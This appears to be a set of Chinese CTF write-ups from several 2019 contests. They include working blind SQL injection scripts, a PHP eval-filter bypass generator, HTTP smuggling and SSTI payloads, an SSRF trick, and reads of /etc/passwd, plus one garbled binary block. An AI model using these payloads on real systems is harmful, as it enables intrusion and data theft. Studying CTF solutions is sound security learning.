45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import hackhttp
import urllib
import socket

ip = '111.186.57.61'
port = 10601

def send_raw(raw):

try:
with socket.create_connection((ip, port), timeout=2) as conn:
conn.send(bytes(raw,encoding="ascii"))
res = conn.recv(10240).decode()

except:
return True

return False



def rawhttp(sql):
sql=urllib.parse.quote(sql)
burp0_url = "http://111.186.57.61:10601/?age={}".format(sql)
raw='''GET /?age={} HTTP/1.1
Host: 111.186.57.61:10601
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 0
Content-Length: 0

'''.format(sql).replace("\n","\r\n")
return send_raw(raw)


l='0123456789ABCDEF'
result="657A73716C69"#database :ezsqli

result=""#table flag_xdd,user?
#column flag_32122
#flag{bypass_modsecurity_a202e614489c}
j=len(result)
while True:
for i in l:
sql="if((select substr(hex(GROUP_CONCAT(flag_32122)),{},1) FROM flag_xdd)=char({}),sleep(10),0)".format(j+1,ord(i))
if rawhttp(sql):
result+=i
print(result)
break
else :
print("第{}个字符不是{}".format(j+1,i))
j+=1



ezcms

莫得

misc

two_cat

看别人的wp知道是盲水印攻击

misc 1

1
I¤Ìçz6j|´±¥óŒ¼“¹[ƂĄʃz@ałޢ|ӄɒak@ałޢŅyĉӡk@ałޒ|ӄɒak@֋@JB™ťɁÉ֕k@ŧÅՄń@‰Ձ٨@ÖąŀąÉԁԀɕÅكȁՇƀÖąZ@U@SӅDžŀÈYCÅڀ…ĀĢń@֕@ʂՀĉՖęË@ɣ@ŧɢâ@ɕ@c@ӅbĀ‰ȀԤäSӨ@ɕÖԗcɂӅ@Ņ٢ɖբk@SԀƅcęɕȀ¤È@ąӉLjâ@b@Ֆ֠ÖգɇĖĢ@Ӆãř@…ؤŕÅÀUŀÈƀB…Ճƀֆ@…ŅفԀ¢ĉʀפՃäcɖրÈYCÅ٢@ƁəӨ@ɔז٣UĀƖڀԖąٕ@Öԗģř@ӁՇāDžÀMŧCÓɀƈɃɀÈYCÅ٢@YƀB…գ@ŁىŢ@CÖلɕȀÖ@ƈɃɀŅ٢ɖրֆ@ƂĄʃ@ȖŽم@Ӗ֒ɕȀc]K@ʂՀDWÅŀƂĄʃ@ƙ֔@פՃȅŀÁل@Öą@ɕ@ÈƀŁٓɀ񹶰ÀUŀי֔ēǁÅŀɣ@b@€ä£֔ř`ÖգٖԀÁãɃ@M…ƀÖՕŃÖڀÖբ׉فè]k@—ęՉՇ@ÈƀSمDɀŢÁ“ɢȅŀ¢ĉʀ£UāلK@㖄hk@ʂՀÓIԢ@Ö@…@U@֗ŕ`¨£ŔÀÖԗUɫ@¤ĀʂսÀ֦րąƒىףɖրֆ@ÈƀƂĄʃ@ŁىUâ@UŀȖǀÖ@ÖեřĀ…æŅրÈŔ@ɢ@£ɓԀɕÅٕSӨ@Ób‰Ɖń@Öؠ…Ùţk@¤ٕ`…Ɩم`مDɕȋ@ȁÒřÀ“UÈ@c@ÈƀŅ٨@Ձԅ@ֆ@ƂĄʃ@UŀÖբɄř@ɣ@€ԁՉƅ£cɖրֆ@פم£@ťɓKƓG@ɢ@ƓGp°��ƴ����򴄴𰲳ǰƄÅ�

newbie ctf 2019

newbie ctf 2019

web

normal_host

题目描述:

You can get flag in “normalflag.iwinv.net”

题目给的链接

image.png

直接访问 flag

image.png

输入网站测试发现,会在网址后面加个secret参数

image-20191103111420354

而flag界面就是通过这个secret来识别是否通过internal.iwinv.net

观察secret发现,每次访问给出的secret都不一样

排除掉算出secret的做法,那么接下来就是要绕过禁用host的限制或者是输入一个网址,让其无法识别出是normalflag.iwinv.net却能访问normalflag.iwinv.net

image.png

这就很容易想到php里面libcurl和parase的差异

parse_url与libcurl对与url的解析差异可能导致ssrf当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对http://[email protected]:[email protected]进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过此外对于https://[email protected]这样的域名进行解析时,php获取的host是[email protected],但是libcurl获取的host却是evil.com

from https://paper.seebug.org/561

构造url:[email protected]@normalflag.iwinv.net(我是来帮4399打广告的:v:)​

KorNewbie{H0$7_$P1it_A774cK_U$3s_N0RM^liZ47ioN&##$%%!}

misc

catch me

利用工具逐帧查看,把每个子出现的位置记录转成ascii码得到flag

KorNewbie{w0w_e4g1e_3y3}

BiMilCode

image.png

刚开始题目说要encode。结果被这个误解搞了一个小时才发现是decode

观察发现一个字符会被编码成2位的16进制的数据

认真观察发现编码方式还和位置有关,但是相同的位置编码方式相同,而且只是对ascii码进行移位

也就是说,在同一个会话里,我们可以通过ascii码的差值来得到来计算出题目给出的编码后的字符串

image.png

1
2
3
4
5
6
s2='45 dd 97 38 62 6c 62 85'.split(' ')
s1='3a 93 78 3a 6c 63 3a 63'.split(' ')
print(s1)
print(s2)
for i in range(len(s1)):
print(chr(ord('0')+int(s1[i],16)-int(s2[i],16)),end='')

KorNewbie{Nace_I_believed_it}

Forensic

find the plain

题目描述

Alpha team’s whistleblower captured a packet that leaked internal information to the outside using ftp internal confidential data.

Analyze the packet and flag the password and information obtained for the ftp connection!

flag format : KorNewbie{password_yougetinformation}

※ If there is a hash value, it will be md5.

(!frame.len== 1518) &&(!frame.len== 1514)&& (! ip.addr==192.229.232.240) && (not tcp.stream==2) && (not tcp.stream==0)&& (not tcp.stream==1)

过滤找到ftp传输文件和账号密码

password:root

badguy.txt

1
7J2067O06rKMIOyVjO2MjO2MgOydmCDsi6Dsg4HsoJXrs7TripQg67CR7J2YIOyjvOyGjOyXkCDrqqjrkZAg64u07JWE64aT7JWY64SkLiDqsbTtiKzrpbwg67mM7KeA7JuM7YSwLi4gDQpodHRwczovL3Bhc3RlYmluLmNvbS83MHlER2lSUw==

decode得到

1
2
3
이보게 알파팀의 신상정보는 밑의 주소에 모두 담아놓았네. 건투를 빌지워터.. 
//alpha组的个人信息全部放在下面的地址里。祝你成功..
https://pastebin.com/70yDGiRS

k459iki6m5j094m2lmkhjmi9527l81ml

题目提示得到的一个信息是md5

所以对这个进行凯撒密码解密得到d459bdb6f5c094f2efdacfb9527e81fe

后面发现image.png

这里也提示了凯撒加密

但是用国内的md5解密网站无论如何也破不了

用朝鲜语搜了一下就解密了

image.png

KorNewbie{root_IronDragon}

………………………

这是个梗吗.

chat

题目描述

Confidential information came and went through chat. Find the email of the user who used the chat.

user:NewbieCTF2019

在youtube找到一个好玩的重置密码的方法

https://www.youtube.com/watch?v=YBFAzK9mgNI

根据这个来重置密码

重置密码后看着棒子文我是懵逼的(同伴+1)

image.png

根据题目提示聊天软件理所当然的盯上了kakao

image.png

跑到文件夹里翻一翻(也可以写个脚本/fad)

image.png

最后拿到flag

KorNewbie{[email protected]}

rec

这题跟进去调试也没看到啥,想来想去防止取证题的地方怎么也不可能是逆向啥的、

于是就开始用binwalk,strings…..

最后翻一翻找到了seg段…………

在seg段找到

image.png

roarctf2019

roarctf2019

web

easycalc

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

解法一 肝就完事

强行绕过限制

关键:((10000000000000).(0)){3}=>E

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
arr={
"0":'''((0).(0)){0}''',
"1":'''((1).(0)){0}''',
"2":'''((2).(0)){0}''',
"3":'''((3).(0)){0}''',
"4":'''((4).(0)){0}''',
"5":'''((5).(0)){0}''',
"6":'''((6).(0)){0}''',
"7":'''((7).(0)){0}''',
"8":'''((8).(0)){0}''',
"9":'''((9).(0)){0}''',
"-": "((-1).(0)){0}",
"." :"((1.1).(0)){1}",
"E": "((10000000000000000000).(1)){3}",
"p":"((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))",
"$":"((((-1).(0)){0})&(((4).(0)){0}))",
"l":"((((-1).(0)){0})&(((4).(0)){0}))|(~((0).(0)){0})&~((~((8).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))",
"H": "(~((0).(0)){0})&~((~((8).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))",
"Z" : "(~(((((-1).(0)){0})&(((4).(0)){0}))))&(~((~(((8).(0)){0}))&((~(((2).(0)){0}))&(~(((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))))",
"v" :"(((2).(0)){0})|((~((1).(0)){0})&((10000000000000000000).(1)){3})",
"D" :"(~((1).(0)){0})&((10000000000000000000).(1)){3}",
"A" :"(~((2).(0)){0})&(~((~((1).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))",
"P" :"(~((1.1).(0)){1})&((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))",
"O" :"(~((0).(0)){0})&(~((~((8).(0)){0})&((~((2).(0)){0})&(~((10000000000000000000).(1)){3}))))",
"S" :"(~((((-1).(0)){0})&(((4).(0)){0})))&(~((~((2).(0)){0})&(~((10000000000000000000).(1)){3})))",
"U" :"(((10000000000000000000).(1)){3})|((~((((-1).(0)){0})&(((4).(0)){0})))&(~((~((1).(0)){0})&(~((1.1).(0)){2}))))",
"_" :"((10000000000000000000).(1)){3}|(((~((((-1).(0)){0})&(((4).(0)){0})))&(~((~((1).(0)){0})&(~((1.1).(0)){1})))))",
"T" :"(~(((1).(0)){0}&(~((2).(0)){0})))&(~((~((10000000000000000000).(1)){3})&(~(((1).(0)){0}&(~((1.1).(0)){1})))))",
"I" :"(~(((0).(0)){0}))&(~((~((8).(0)){0})&((~((1).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))))",
"N" :"(~((0).(0)){0})&(~((~((8).(0)){0})&((~(((2).(0)){0}))&(~((~((1).(0)){0})&((10000000000000000000).(1)){3})))))",
"f" :"((((-1).(0)){0})&(((4).(0)){0}))|((~(((4).(0)){0}))&(~((~(((2).(0)){0}))&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))))",
"B" :"(~(((4).(0)){0}))&(~((~(((2).(0)){0}))&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))",
"r" :"(~((~(((2).(0)){0}))&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))",
"[" :"(~(((((-1).(0)){0})&(((4).(0)){0}))))&(~((~((8).(0)){0})&((~(((2).(0)){0}))&(~(((10000000000000000000).(1)){3})))))",
"]" :"(((10000000000000000000).(1)){3})|((((8).(0)){0})&(~(((((-1).(0)){0})&(((4).(0)){0})))))",
"C":"(~(((4).(0)){0}))&(~((~(((2).(0)){0}))&(~(((10000000000000000000).(1)){3}))))",
"M":"(~(((0).(0)){0}))&(~((~(((8).(0)){0}))&(~(((10000000000000000000).(1)){3}))))",
"\\":"(~(((((1).(0)){0}))&(~(((2).(0)){0})))&~((~(((10000000000000000000).(1)){3}))&~((((8).(0)){0})&(~(((((-1).(0)){0})&(((4).(0)){0})))))))",
"/":"((((1.1).(0)){1})|(((-1).(0)){0}))",
"G":"(~(((8).(0)){0}))&(~((~(((2).(0)){0}))&(~(((10000000000000000000).(1)){3}))))",
"g":"(((10000000000000000000).(1)){3})|((((2).(0)){0})&(((1.1).(0)){1}))",
"a":"((((1).(0)){0})&((~((2).(0)){0})))|((((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))&(~((((1).(0)){0})&(~(((1.1).(0)){1})))))"
}
s="scandir"
def topayload(s):
result=""
for i in s:
if(i in arr):
result+=("("+arr[i]+")"+".")
continue
if(i.upper() in arr):
result+=("("+arr[i.upper()]+")"+".")
continue
if(i.lower() in arr):
result+=("("+arr[i.lower()]+")"+".")
return result[:-1]
def tomethod(meth,para,c=True):
if c:
return "("+topayload(meth)+")("+topayload(para)+")"
else :
return "("+topayload(meth)+")("+(para)+")"
# print(tomethod("var_dump",tomethod("scandir","/"),False))
print(tomethod("var_dump",tomethod("file","/f1agg"),False))
# print(tomethod("file_get_contents","/f1agg"))

解法二 HTTP走私

http走私请看:https://paper.seebug.org/1048/

这题php禁用了 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '反引号', '\[', '\]','\$','\\','\^'];

apache再禁用了字母和不可打印字符

后来看别人的wp知道了,虽然服务器返回400,但是还会将请求转发给后端,标准的http走私

image.png

真几把神奇,刚看到http走私的时候我还以为是前后端对content-type的解析不同

结合getallheads来绕过php字符限制

最后payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /calc.php?num=eval(end(getallheaders())); HTTP/1.1
Host: node3.buuoj.cn:28023
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Referer: http://node3.buuoj.cn:28023/
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 422
Content-Length: 0
A: var_dump(file_get_contents("/f1agg"));


解法三 利用php字符串解析特性绕过apache waf

php字符串解析特性

当我们发送这样一个请求是:?%20num=123

apache的检查规则只能匹配到num,而这个请求在php却会被解析为$_GET[‘num’]最后成功绕过apache的waf

Easy Java

扫目录发现一个Download,去登入界面查找一下download,发现Download?filename=help.docx

可是无论下什么也不行,看了别人的wp发现post就可以233333

接下来就简单了,因为这是一个tomcat的网站

贴一个tomcat的结构图

先去查看一下WEB-INF/web.xml

发现

1
2
3
4
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

于是去WEB-INF/classes/com/wm/ctf/FlagController.class

查看,发现一个base64编码的字符串

image.png

simple_upload

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
$_FILES['file']['name']
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

解法一 thinkphp漏洞

利用Think\Controller,\Think\Upload() 等关键字查询到该thinkphp版本大致在3.2.x,这里我去找了3.2.3的源码

阅读文件上传部分代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
....
public function upload($files = '')
{
if ('' === $files) {
$files = $_FILES;
}
.....

$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if (!isset($file['key'])) {
$file['key'] = $key;
}
....
}
....
?>

这里注意到有个strip_tags,查询文档 从字符串中去除 HTML 和 PHP 标记

ok,成功找到绕过后缀名限制的方法

image.png

成功getflag美滋滋

解法二 上传多个文件绕过后缀名检测

大佬们太强了/fad/fad

1
2
3
4
 $uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

如果上传多个文件, $uploadFile内包含多个文件,strstr(strtolower($uploadFile['name']), ".php")自然也就无效了,接下来就是获取文件名,就可以getshell,因为thinkphp文件名是递增的,所以也就很容易获取到想要的文件了

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url="http://aba32602-5c6b-4a9f-bfa6-bbf2ca660f7e.node3.buuoj.cn/Public/Uploads/2019-10-18/"
i=(int("5da9dd208595a",16)+1)
while True:
print(url+hex(i)[2:]+".php")
res=requests.get(url+hex(i)[2:]+".php")
print(res.status_code)
if(res.status_code==200):
print(url+hex(i)[2:]+".php")
break

i+=1

虽然说可以爆出来,不过也要跑好一会

Online Proxy

利用libcurl和paras_url的差异来判断

http://node3.buuoj.cn:28001/?url=http://[email protected]@ccccccccccccc.com

200

http://node3.buuoj.cn:28001/?url=http://[email protected]@39.108.164.219

504

而访问http://node3.buuoj.cn:28001/?url=http://39.108.164.219

也是504,所以有可能使用file_get_contents来访问url

刚开始一直盯着url,后面看到收集信息,99%是sql注入的题

就是不知道要收集什么信息

1
2
3
4
5
6
7
<!-- Debug Info: 
Duration: 0.20821499824524 s
Current Ip: 127.0.0.1 -->
<!-- Debug Info:
Duration: 0.34751987457275 s
Current Ip: '#
Last Ip: ' -->

这题虽然是sql注入,但比较操蛋的是,sql注入的是last ip

因为这个加上自己的懒惰让我搞了8-9个小时,因小失大/fad

题目提示会收集信息,能收集的大概也就是ip地址

于是找到x-forward-for http注入,虽然说的轻松,但是我完全找了好久还加上了wp的帮助

emmmm直接扔脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import string
import random
import time
import sys
def rand_str(length=8):
return ''.join(random.sample(string.ascii_letters + string.digits, length))

ii=0
def curl_url(sql):
global ii
headers={
"Host":"node3.buuoj.cn:28645",
"Cache-Control":"max-age=0",
"X-Forwarded-For":"",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language":"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
"Connection":"close"
}
cookies={"track_uuid":"1e3b12a4-60f8-4778-a0b7-%s;" % rand_str()}
#1'+if(ascii(substr(hex((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE TABLE_SCHEMA=database())),1,1))>0,sleep(10),0)+'13
# headers["X-Forwarded-For"]="1'+if("+sql+",sleep(10),0)+'"+str(ii)
url="http://node3.buuoj.cn:28841?url=http://127.0.0.1"
#清空
while True:
headers["X-Forwarded-For"]="clear"+str(ii)
try:
res= requests.get(url,headers=headers,cookies=cookies,timeout=3)
except :
pass
if "Last Ip: clear" in res.text:
break
ii+=1
#压入
headers["X-Forwarded-For"]="1'+if("+sql+",sleep(10),0)+'"+str(ii)
res= requests.get(url,headers=headers,cookies=cookies,timeout=3)
#执行
while True:
ii+=1
headers["X-Forwarded-For"]="clear"+str(ii)

try:
res= requests.get(url,headers=headers,cookies=cookies,timeout=3)
except :
return 1

if sql not in res.text:
curl_url(sql)
return 0


#database information_schema,test,mysql,ctftraining,performance_schema,F4l9_D4t4B45e,ctf
#table F4l9_t4b1e
#column F4l9_C01uMn
#flag flag{G1zj1n_W4nt5_4_91r_Fr1end},flag{03a6ead5-ffec-4bc0-bffd-92efd5a81e11}
sql="(substr(hex((select GROUP_CONCAT(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e )),INDEX,1))='GUESS'"
result="696e666f726d6174696f6e5f736368656d612c746573742c6d7973716c2c637466747261696e696e672c706572666F726D616E63655F736368656D612c46346c395"
result="666c61677b47317a6a316e5f57346e74355f345f393172115"
index=len(result)

while True:
index+=1
for i in range(16):
ii+=1
tmp=sql.replace("INDEX",str(index)).replace("GUESS",hex(i)[2:])

if curl_url(tmp):
result+=hex(i)[2:]
print(result)
break
print("第"+str(index)+"不是"+hex(i)[2:])

tuctf2019

tuctf2019

web

Router Where Art Thou?

http://chal.tuctf.com:30006/0.html

http://chal.tuctf.com:30006/1.html

http://chal.tuctf.com:30006/2.html

FIXME: need to use Page::includeStaticResource

2.html:603 hidden variables, we are going to set this to the session, bug fix 2157

https://192.168.1.254/

….爆破密码获得flag

Login to Access

当Referer不为http://chal.tuctf.com:30001/login.html时,存在sql注入

当Referer: http://chal.tuctf.com:30001/login.hmtl时sql 注入被过滤

对第一种情况sql注入得到

1
2
3
4
#database:information_schema,challenge,mysql,performance_schema,sys 
#table:users
#columns:user,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
#user,password,USER : dave,hunter2,dave

利用得到的账号密码直接在第二步登陆无效,猜测第二步还要sql注入

  • sql注入
1
2
3
4
5
6
7
dave'+or+1%23 x
dave"+or+1%23 x
dave")+or+1%23 x
dave')+or+1%23 x
\转义'或"来逃逸失败


宽字节注入:

1
2
3
4
#username=%2bsleep(10)&password=%bf%5c" x
#username=%2bsleep(10)&password=%bf%5c' x
#username=%bf%5c"&password=%2bsleep(10) x
#username=%bf%5c'&password=%2bsleep(10) x

sql注入点时username还是password

是单引号还是双引号闭合

过滤了哪些字符,转义了哪些字符

We then looked at the challenge’s description again and realized that there might be backup of file somewhere. We then tried to get the login.php.bak.

img

Surprise, there really is a backup file there. Let’s see what is inside.

img

We found the flag, and it is TUCTF{b4ckup5_0f_php?_1t5_m0r3_c0mm0n_th4n_y0u_th1nk}

The Droid You’re Looking For

看到droid想到robots.txt,直接访问提示没有权限

因为robots.txt是给爬虫看的,所以去百度了一个google爬虫的user-agent:

1
Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1;

robots.txt

1
2
User-agent: *
Disallow: googleagentflagfoundhere.html

TUCTF{463nt_6006l3_r3p0rt1n6_4_r0b0t}

And Now, For Something Completely Different

1
2
3
4
5
6
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1509, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/usr/src/app/class_website.py", line 87, in post
if len(name) == 0 or len(phone_num) == 0 or len(email) == 0 or len(passwd2) == 0 or passw != passw2:
NameError: global name 'passwd2' is not defined

在网页中发现

1
<!-- TODO: add /welcome/test -->

打开只有welcome test <==> /welcome/test

猜测是ssti

1
{{__import__('os').popen('cat flag.txt').read()}}

TUCTF{4lw4y5_60_5h0pp1n6_f0r_fl465}

Cute Animals Company

修改cookie获得登陆权限

sqlmap得到密码

file:///etc/passwd获得flag???

http访问都不行的呀

unctf2019

unctf2019

bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>

a=\&b=\来逃脱引号

用?来匹配,但是隐藏文件是无法显示的要自己在前面加一个.

file "\" -f " \"

最后在http://101.71.29.5:10054/.F1jh_/h3R3_1S_your_F1A9.txt里找到flag

unctf{86dfe85d7c5842c5c04adae104193ee1}

NSB RESET PASSWORD

题目说是重置密码,刚开始我想的是越权

后面搞了好久都不行。后面试着弄了一下发现一个验证码可以多次用.

我就猜有可能是条件竞争

先注册一个账号用收到的验证码重置,然后再用admin账号请求重置密码

然后直接跳到修改密码的界面,修改一下就出来了

flag{175f3098f80735ddfdfbd4588f6b1082}

帮赵总征婚

盲猜sql注入

转义:',",\,#

还给了我们一个phpinfo?????

我也想帮赵总征婚啊,可是我没机会

remember_me 是否可以注入?

inject twice

题目是sql-lab的源码

二次注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if (isset($_POST['submit']))
{


# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";

}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>

但是得到admin账号后,并没有得到flag,估计要把数据库给溜一圈。

黑名单:or,

注册一个hello\的账号,就可以用,currentpass来注入,但是环境炸了,我sleep了一下就奇奇怪怪了

//////////////???????????????????

currentpass=/**/or/**/1-- a

数据库名 or (SELECT substr(hex(group_concat(schema_name)),1,1) FROM information_schema.schemata)=char(54)-- a

information_schema,metinfo,mysql,performance_schema,security,sys

表:

GROUP_CONCAT(table_name) FROM information_schema.tables WHERE TABLE_SCHEMA=database()

security:emails,fl4g,referers,uagents,users

列名

fl4g:f1ag

最后的flag UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}

checkin

又是一个vue应用

image.png

在代码中发现

/calc: 可以命令执行,但是却没有办法找到有效的利用方式

后端是node.js

version: v10.12.0

cwd:/usr

/usr目录

bin,games,include,lib,local,sbin,share,src

res.end(require(‘fs’).readFileSync(‘/etc/passwd’).toString())

require(‘fs’).readdirSync.(‘/etc/passwd’).toString()

在根目录下找到flag

flag{0e4d1980ef6f8a81428f83e8e1c6e22b}

最后还是晚了一分钟

看来改天要看看nodejs的东东?